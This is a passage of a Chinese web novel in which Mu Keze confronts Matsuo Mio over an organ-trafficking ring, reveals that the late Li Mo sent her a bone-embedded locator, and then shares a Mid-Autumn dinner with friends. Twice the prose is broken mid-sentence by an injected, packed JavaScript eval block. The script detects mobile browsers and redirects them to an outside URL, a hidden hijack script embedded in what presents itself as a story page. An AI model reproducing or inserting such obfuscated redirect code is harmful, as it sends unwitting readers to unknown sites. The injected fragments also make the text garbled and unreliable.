互相批评政策改革和实验设计的合理性之类的。最后让完全不明白这个知识体系,但是听他们吵着吵着搞懂了的木柯泽进行建议和总结。 也因为这个的缘故,身居高位的人如何不体面,甚至是面红耳赤的场景,木柯泽几乎看得已经足够多了。 意思是说,松尾澪在几分钟后就立刻意识到,寻常的手段似乎对木柯泽并没有多少效果。 “我认为我们不妨更加开诚布公一些。”木柯泽眼睛很干净,她难得有种成年人的气场,耐心地引导说,“这样更有效率一点。” 松尾澪实在是用尽力气和手段了,本来就缺乏真心的笑容更显得虚假。 出生到现在,从小到大,她自以为用她这张脸和不断精益求精的话术无往不利,能够很快地让对话者放下心防,或者是可怜地跪在地上祈求。然而木柯泽简直是个没有突破口的怪物。 软的不行,硬的更不敢。 难以言喻的巨大挫败,海啸一样越堆越高,偏偏面前这家伙还装模作样地说什么“开诚布公”。 本来说不动就烦。 松尾澪没什么好气,甚至有些发脾气地呛声:“什么效率。柯泽女士难道现在不应该拖延时间吗?” 木柯泽:“……呃。” 19. 第 19 章 木柯泽见过许多戴面具的人。 在这个复杂的世界,大多数人生存,很少人活着。 掀开别人面具的过程固然令人感到有趣,但接踵而来的麻烦,以及所作所为造成的令人头疼的后果,她已经体会过了。并且还体会得很深刻。 以至于松尾澪一开口,脑子就已经本能地蹦出来了两个字“坏了”。 “原来澪小姐看出来了这个电脑里面的是伪代码吗?”木柯泽不动声色地安抚,“真是了不起。” “有什么了不起的。”松尾澪自暴自弃地说,“柯泽女士是天才啊,肯定之前就能明白这是我们的地盘,根本不用看就知道,怎么会把这么重要的东西留在这里。” 木柯泽礼貌地露出营业性的微笑。 这样凌乱地沉默一会,松尾澪恢复了表情。 她整理情绪,才可惜地说:“我们本可以合作的。” “合作的前提是要有共同的利益吧。”木柯泽这话听上去很狂妄,但确实是阐述事实,她见松尾澪恢复正常,又恢复了素日的语调,“我看上去像很缺什么吗?” 松尾澪:“……” 松尾澪换了直白的语句:“松尾家很有钱。非常有钱。” “柯泽女士既然要在地面生活一段时间,必要的出行和起居还是得考虑吧。” “如果我想要过奢侈的生活,可以直接一个邮件让神庭会的人来接我。” “……柯泽女士,你这样说话,我没法接。” 木柯泽摩挲着指腹,然后笑了一下:“说真的,澪小姐,你现在才像拖延时间吧。我们真的不讨论一下器官贩卖的事情吗?” 松尾澪盯着木柯泽。 木柯泽若无其事地说:“外面不全是你的人?还有松尾信的亲属吗?他给你下了什么任务?必须要让我答应不会插手这件事?” 松尾澪面无表情。 木柯泽往前坐了一点。她歪头,很有兴趣地打量她。 木柯泽压低声音。 “但你本人不是这么想的。对不对?” “柯泽女士。” “别急。先让我猜猜看嘛。”木柯泽歪头,尾音上扬,像是在撒娇一样。 “你一直负责处理松尾家的私人事件吧。见惯了私生子,婚外情,移植器官之类的事情,手里掌握着许多人的把柄,但却没有实权,难道不觉得不公正吗?” “柯泽女士!”松尾澪严肃地打断她,沉声道,“我忠于我的道义。” “啊……但我想那道义中并不包括你的家族。” 木柯泽姿态随意地否认了。 她收回前倾的进攻气势,懒懒散散往后靠在绣花的方枕上。这时候看上去又人畜无害起来,然而对面的松尾澪浑身紧绷,尽管刚刚的声音响亮地否决,却仍然是肉眼可见的紧张。 “之前我听季疏原偶尔提起过,和松尾家竞争商街的日濑。”木柯泽说话的声音很轻,却让松尾澪毛骨悚然,简直像个紧追不放的恶魔。 “出于好奇,查看了一下对方的股票,财报之类的。” “这些应该是犯法的吧。”松尾澪眼角明显抽搐了一下。 “嗯?新闻啊。都是公开的数据,只是简单地处理了一下。” 多亏了之前听过什么经管金融学会。 “很有意思啊。澪小姐。”木柯泽继续说,“你似乎扮演了一个黄雀在后的角色。挑起日濑和松尾的争夺,与此同时,有家不起眼的公司慢慢地崭露头角了。” 松尾澪一言不发。 寂静。 “怎么样?现在应该足够开诚布公了吧。” 木柯泽说。 “当然,不论今天的结果到底怎么样,不论你是自愿来或者松尾信嘱托了你。我可以告诉你,你不会有办法阻止它。这件事你压不住。” “就凭借河底的骨头吗?”松尾澪绷紧着背,“每年溺水的人想必也不少吧?” “溺水和内脏被拆了排到州河还是有区别的。加工后发现不合格的样品就扔到河里去?嗯,确实是个不错的主意。” 不论是州河,还是西郊的太虚湖。 水流量大,而人群罕至,被发现也可以辩解为从前不幸溺水的尸体。而水会冲淡一切的线索,根本区分不出来到底是谁,更别说只是一两个器官,早早被河底的鱼或者其它水生物啃食,辨别不出具体的模样。 不过松尾澪有句话说的没错,找不到能有充分证据的工厂,仅凭杨疯子和骨头的鉴定,很难确认这条产业链的存在。 即使做好了准备,但松尾澪仍然没有想到被戳穿是这样一件简单的事情。 她深呼吸了一口气,然后相当果决地说:“季疏原是找不到那个位置的。恐怕我的堂弟要令你失望了,柯泽女士。” 木柯泽:“为什么?” “说实话,柯泽女士的话还有可能。”松尾澪又更换了一副面具的表情,“里面牵扯到的如果仅仅是金钱,反而非常好办。” - 阿德莱德的后花园在不同人嘴里有很多种名字,比如“金钱焚化炉”,“败家子的突发奇想”,“病毒实验室”,以及“科研人梦中情院”。 但大家普遍都认同一件事——那就是十分有钱。 顺便,阿德莱德将这真实名字为“黑分”的医院开遍了全球各地,是天堂“heaven”的音译。 寻常的基因检测需要起码三四天,但在黑分医院里,拥有最先进的技术,只花了两个小时。 从实验室里出来的时候,阿德莱德抓着自己的金色卷毛,难得感慨:“真的是母女……” 他看到走廊上坐着的杨疯子。她不知道自己现在在哪里,肩膀上有护士给她披的毯子,拘谨地扯了扯。 十七年的时间,被掩埋在河底下的十七年。每一次从河道边经过的时候,是否真的听到了埋泥泉下的呼唤。还是上帝终于被打动,赐予她一个奇迹。一个木柯泽从天而降的奇迹。 尽管意识模糊,但她大概隐隐约约感觉到了什么,无论抽血还是检测的时候都十分配合,甚至很有礼貌,还会向医生和护士们道谢。 此刻,距木柯泽从州河钓起这块缺损的颅骨,已经过去了两小时。 阿德莱德在思索要不要现在给柯泽小姐发送过去基因检测报告,想到她现在大概还跟松尾澪在一起,终究没有发送。 今天医院的人并不多,路过有几个闲憩的护士互相赠送着什么,阿德莱德走过去,那些护士也给他了一份。 圆圆的,看起来是吃的糕点。 “这是月饼。”护士笑着说,“我们这边的习俗啦。中秋节就要吃月饼的。” 阿德莱德想起凌晨,木柯泽手机的邮件提示:中秋快乐。 这时才闲下来,有心思询问。 “中秋是什么?”他问。 “是放假。” “心声说出来了吧小刘?” “大老板可是在这里。” “我是自愿加班的。” “工资三倍,当然自愿了。” “还得靠抢呢。” 小姑娘嘻嘻哈哈地闹了一会,毕竟阿德莱德是个开明的上司,能够开玩笑的上司。刚刚给阿德莱德月饼的小刘护士忽然想起什么,她轻快地跑几步,也分了一个给走廊呆呆坐着的杨疯子。 “是应该和家人一起团聚的日子啊。”小刘护士轻快的声音响起,“中秋节快乐,大老板。” 阿德莱德右手是杨疯子和那块骨头的鉴定报告,左手是刚刚被塞到的月饼。 他沉默了一会,忽然觉得这寻常的祝福有些滚烫了。 黑分医院不缺资金,显卡之类的更是溢出资源,没想到真有一天能够派上用场。 季疏原一边优化推理算法,把电脑放在另一边跑数据。 门又打开了。这次总算不是被踢开的。季疏原心想。 然后阿德莱德走进来,问:“你还需要多长时间?” “剩13%。”季疏原头也不回。 “希望柯泽小姐那边没有事。” 季疏原抬眼看他,眼神里的含义很是意外。 阿德莱德挑眉:“怎么?” “以为从此你们就不相往来了。” “不至于。但你的语气似乎听上去有点遗憾?” “……你听错了。只是态度转变得实在有些快。有到两个小时吗?” 阿德莱德呼出一口气,诚实地说:“我姑且还算有点人性吧。总不可能说出‘她只是走丢了十七年的女儿,而我却被人玩弄了感情’这样的句子。” “所以呢?你原谅了?” “只是这一次而已,多少算是想起字典里还有良心这个词。”阿德莱德语气平静,“柯泽小姐都说过了,我这样的人,才更适合当医生。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403612|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 季疏原扭过头去。房间没有人说话,但很快“滴滴”响起了电脑的声音。 “警告:系统无权限查看。” “警告:系统无权限查看。” “什么情况?” 阿德莱德走近,季疏原比他反应更快,弹到屏幕前,目光很冷。 “警告:即将引爆自毁程序。” 刺耳的警报声中,季疏原脸色陡然变得非常难看。他双手不停,马不停蹄地哒哒敲键盘。 电脑终于停止跳出警告弹窗。 刺白的屏幕,黑色的进度条仅仅短暂地出现了轮廓。季疏原停顿着,肩膀起伏,深深吸了口气。 “缺少密钥。不予通过。” “还有你都绕不过去的安全系统?” “……” 季疏原缺乏表情地转过头去,无言的沉默里,阿德莱德忽然明白了什么,他“啊”了声,揶揄的神态慢慢消退。 “中心区?” - “你以为仅仅凭借松尾家族就能延绵这么久的产业链吗?”松尾澪轻巧地说,“柯泽女士,你太天真了。你被神庭会的鲜花簇拥着,却对地面的尘垢知之甚少。” 窗外开了不知名的花,花瓣飘飘忽忽地转进来,木柯泽的视线透过花瓣,看向松尾澪。 她忽然勾了下嘴角。 “知道吗?如果是季疏原主导的电脑追踪,因为缺少关键密钥,结果只会是暴露源地址。” 松尾澪不太能解读这个笑容,她言辞有力地继续说。 “中心区的这个等级,是你们当初定下来的。没人能突破。” “哦。”木柯泽往后靠到椅背上,说,“我知道得很清楚。” “那你为什么仍然要季疏原……” 话说到一半,松尾澪顿住。 她稍微瞪大了眼睛:“你故意的?” “如你所言,之前十多年我一直待在神庭会的保护之下,研究以外,我确实对很多事情知道得太少。”木柯泽舔了下干涩的嘴唇,重复道,“太少了。” 她伸出手指,绕过头发。 一圈。 又一圈。 缓慢地转着,像不停摆的钟。 “我不知道中心区,陆外十三城,艾弗特兰,雪原北地这些区域的安全等级是否还在使用,也不清楚权限划分,审查监督……像这样的东西,还是密钥。但我想,但凡报上我的名字,他们必然会有所准备。敞开一扇大门,里面是精心修饰过的会客厅。” 松尾澪艰难地开口:“……所以?” “所以确认是中心区,才是你的目的?”松尾澪像观看了一出荒诞的戏剧,不可置信地重复,“就为了这点事情,你闹出了这么大动静?” “大动静?” “这点事情?” 木柯泽诚恳道:“这点事情当然值得大动静。” “哈!”松尾澪嗤了一声,语气相当尖刻,“就连我们都不清楚,我们接触的是二级,三级,还是更小的小兵。你现在甚至连工厂都找不到。确认了,然后呢?别告诉我还指望着阿德莱德,那个烧钱的败家子除了把没用的医院开得到处都是还能干什么?” “我还有……”木柯泽斟酌了下用词,不确定道,“……一个来自地面的朋友?” 松尾澪像听到了一个天大的笑话。 “他给我发送了一封邮件。”木柯泽慢吞吞的,继续说,“我个人认为,有些动静应当迂回,有些光亮理应掩埋。” 松尾澪讽道:“那您现在的折腾可真是不够引人注目的。” 木柯泽又笑了。 “谁告诉你是现在?” 木柯泽光明正大地站起来,转而挪到之前她和季疏原动过的电脑边。她调出一个网页,上面轮流播放着她随机生成的伪代码。 松尾澪紧盯着她的动作,慌张地跟在她身后,步履逐渐加快。 “别担心。不会是你看不懂的东西。”木柯泽安慰她。 木柯泽反手就终止了伪代码,随后打开浏览器。 很常见的浏览器。 然后她登入邮箱。 点开今天凌晨刚收到的一封。 邮件主题:中秋快乐 发件人:李默 内容: 详情见附件 祝你快乐 附件:我的颈骨实时定位办法 20. 第 20 章 “通过网络反追踪要经过云端的监测,实在困难,不如直接将定位装置送进去好了。”木柯泽笑了笑,“有时候真的不用太复杂。” “毕竟我确实不擅长代码。” “……” 松尾澪的眼睛,却紧紧盯在“李默”那两个字上。 她毛骨悚然。 “他……”松尾澪抬头,声音有些颤抖,“李默到底是不是你杀的?” 木柯泽将这封邮件转发给阿德莱德。 “澪小姐,与其关注这些,不如现在想想自己的立场吧。” 木柯泽关掉电脑,站直,伸手去勾落在沙发上的背包,一脸戏谑的神情。 “不论在背后布置得多么精心巧妙,接下来的松尾家,你打算陪他们一起掺和进去吗?” “不、不……不对。”松尾澪摇了摇头,只关注一个人,“你教唆!是你教唆了他?!” 木柯泽冷眼看她。 “你骗他去松尾家做替眼,如今又骗他去死,甚至骗他给自己的骨头安上定位装置?” “怪物……你简直是个疯狂的怪物!” 端庄的大小姐,头一回脸上出现失控的表情。 她很快意识到这一点,然后又戴上了那种面具。 松尾澪是一个长袖善舞的女人。她敛目,低垂下头,整理自己的失态。 “难以想象。”木柯泽说,“我还以为你在松尾家长大,竟然还会有这么灵活的道德底线。” “遗传的基因病病发率不大,约隔几代,我们并不是工厂的主要消费者。” “哦。那我是不是还得给你表彰一下?连带着你交给季疏原的照片?” “……” “你忘了吗?当初你向季桃提议让适龄儿童顶替季疏原的时候,怎么没见到你觉得自己也是个怪物?” 没有回答。 横亘在她们中间的只有沉默。木柯泽轻巧推开门,她扶着门框,略微侧脸,道:“澪小姐,我希望你善恶能分。” 然后她离开了。 远处很是吵闹,回音震得水纹轻微波动。 桂之原私坊门口。 “为什么还不能让我们进去?明明有治安局的证件了!” “人都进去那么久了?你知道她身份吗?” “万一出事了你们难道负责得起?” “稍安勿躁,各位。澪小姐只是正在跟木小姐聊天而已。”大堂经理满头大汗地转来转去,“应该犯不着用这么大的阵仗。” “那我也是进去跟她们聊聊!”阮小天梗着脖子说,“我去问柯泽女士今晚吃什么!” 桂之原私坊门口被韩寒梅和阮小天带来的人员围了一圈,两方人马对峙着,脸色绷紧,站在两侧,吵得沸沸腾腾。 “今天晚上吃面。” 这时,木柯泽缓缓从门后走出来。 “柯泽女士!” “姐你没事吧?” 木柯泽摇头。她身后跟了一队松尾澪带过来的人,杂沓的脚步声匆匆响起,松尾澪脸色苍白地站在队尾,轻声说:“不要拦她。” 两方的注视都在木柯泽身上,好在她一直习惯于众人的簇拥,木柯泽礼貌地回头:“告辞了。感谢招待。” “柯泽女士,你的听证会。”松尾澪苍白着一张美丽的脸,语气不太好,“松尾家族不会放过你的。” 大堂经理五官呆滞了,随后露出心碎的神情。 “请便。” 木柯泽头也不回,并不在意,道:“我只看我做成了什么,不看有什么没有做好。” “疯子。” 松尾澪喃喃说。 - “柯泽女士,我希望你下一次做这种决定前好歹先跟我们说一声。” “完全没有一点准备,是在考验我们的素质吗?” “再不济也得等到听证会之后吧?” 刚在松尾澪面前大放厥词过,阮小天差点以为这世界上有两种人格的柯泽女士。不然怎么解释面前的场景? 布置温馨的客厅,两个高大的男人一左一右,门神一样竖在木柯泽旁边,正前方是抱臂冷声的韩寒梅。 而柯泽女士戴着韩寒梅买的可爱兔耳帽,一身居家的白裙,双手整齐地放在膝盖上,不敢有丝毫别的动作,十分乖巧。 木柯泽幽幽道:“毕竟今天中秋节。我比较喜欢戏剧化的冲突。” 季疏原:“你找到担保人了吗?” 这话有点像辅导员催问,“你找到工作了吗”。 木柯泽:“没有。” “……” 相当理直气壮。 且耳熟。 季疏原被打出沉默。阿德莱德顶上。 “柯泽小姐。”阿德莱德笑眯眯的,“我现在姑且不去询问你怎么评价我医院的安保措施,也不研究昨晚河道的活动是否是你故意放出给我的消息——” 木柯泽:“。” 那你很好了。 阿德莱德:“我现在有些怀疑的是,李默跟你什么关系?” 毕竟木柯泽是直接转发的邮件,发件人的名字十分显然,虽然都听到了这个邮件的提示音,邮件的内容却出人意料。 遥远的记忆涌上来。 阿德莱德的表情逐渐古怪:“死前,他来过你的公司楼下,手里捧着一束花。” 木柯泽指正:“前司。那时候已经离职了。” 她踢踏着拖鞋,接了杯水。 “你可以理解为出于某种不可控的混沌因素,他都是自愿做的。” “真是情根深种。” 阿德莱德冷哼了一声。 木柯泽觉得阿德莱德很有语言天赋。他竟然还知道什么是情根深种。 木柯泽心虚地移开眼睛。 死者为大,她还造谣,实在不妥。 木柯泽尝试辩解:“其实也不是这个意思。” 阿德莱德:“我也就是意思意思。没有别的意思。” ——如果阴阳怪气能增进阿德莱德的中文,估计他不日就会成为真正的语言大师。 能够上网开班骗取感情的那种。 木柯泽选择不再刺激这个似乎正在进行中文升级的外国小伙,缓缓转头,看向韩寒梅,十分自觉地做出认领谴责的姿势:“你有什么想说的?” 韩寒梅:“柯泽女士,晚上仍然打算吃面?” 木柯泽:“……” 所以为什么会在桂之原私坊门口的对峙里,关注到这个? “我认为你对面条有偏见。”木柯泽尝试辩解。 韩寒梅无情道:“不。我是对柯泽女士的厨艺有偏见。” 话题被韩寒梅莫名其妙拐到独居人的料理水平上去。韩寒梅在针对木柯泽的生活上占有这个家里最大的话语权,她指使着剩下的三个男人来厨房打下手,而木柯泽被勒令只能站在冰箱旁边。 木柯泽:“我觉得不对。” 被分配洗菜的阮小天问:“什么不对?” 木柯泽看着忙碌的几人,想起什么:“这似乎是我家。” “如果让你进厨房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403613|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话。”阿德莱德淡淡地说,“医院也能够是你的第二个家。” 木柯泽:“……” 好尖锐的声音。 一个热乎乎的青团递到她面前,木柯泽抬头,看到神色平静的季疏原。 他道:“你可以先解解馋。” “你在哄小孩子吗?” 木柯泽这样说着,但接过青团。 很甜,但不腻,野草的清香。 很好吃。 木柯泽住嘴了。 阮小天敬佩地看向季疏原。韩寒梅则是疑惑的眼神。阿德莱德有些警惕。 韩寒梅揉了会面,兀自有些嘀咕。 柯泽女士什么时候和季教授的关系那么好了? 厨房一时有些安静,雨蓬慢慢噼里啪啦地响起来。 “下雨了。” 木柯泽说。 “今晚还能看见月亮吗?”阮小天问。 不知道这场雨什么时候能停。哪怕是已经迭代更新的第三纪科技也不会绝对预测精准天气。 木柯泽打开了客厅的电视,里面在放中秋晚会。 演员在台上唱歌,歌手在台下表演微笑。 “歌声没有雨声有节奏。”木柯泽说。 阮小天又问:“那姐你怎么还开着?” 木柯泽:“听个氛围。” 几个人在厨房忙活,木柯泽端着青团,听着有节奏的雨声,比雨声还没节奏的歌声,有些走神。 她想起李默。 她一直不清楚李默为什么决定要去外岛。 “神庭会没有这种歌舞节目。”李默那时说,“之前首席提议过,但光是研究节目单就吵了大半天。一直没有下文。” “你觉得很好听吗?” 李默:“不好听。但很热闹。” ——是临近春节的假期。 整个城市都是喜庆的红色,还有鞭炮在响,露台上有表演节目。 木柯泽脸上挂了个眼镜。是李默给她的。 “当心被鞭炮炸到你的眼睛。”李默说。 木柯泽倒是没有什么所谓:“老实说眼睛其实长一个就够看了。” 空气里弥漫着花香。街道口,一只白色的猫从木箱子里逃窜出来,尖利的爪子挠到小孩子牵着的气球。 “砰!” 巨大的响声。 气球爆了,小孩子反射性地闭眼。 “你看。”李默冷淡的声音在耳侧响起,“正常人都会保护自己的眼睛。” 木柯泽睁着眼,转过头去看他。 夜色一样的双眸,幽远,像一个等待远方的举灯人,最后绝望地轻轻吹灭烛火。 木柯泽开始理解漂亮这个词。思维发散。 她欣赏着这双眼睛。 她想把它做成标本。 好像是有听说大脑会看到可爱的事物而表现出来攻击性的冲动。为了让人们更快地从这种状态带来的愉快情绪中抽离。 但是,如果是对人呢? 应该也算正常吧。 “器官需要呵护。” 李默继续道。语气有些告诫,像是察觉到木柯泽的走神,轻轻点了一下她的额头,蹙眉:“你听见了么?” “嗯。” “那我刚刚说了什么?” 那双无月的夜色又在看她了。 木柯泽注视着李默的眼睛,克制住自己的冲动,随口敷衍他:“美丽的事物需要呵护。” 他的眼睛很漂亮,虽然很想做成标本,但木柯泽不想伤害它。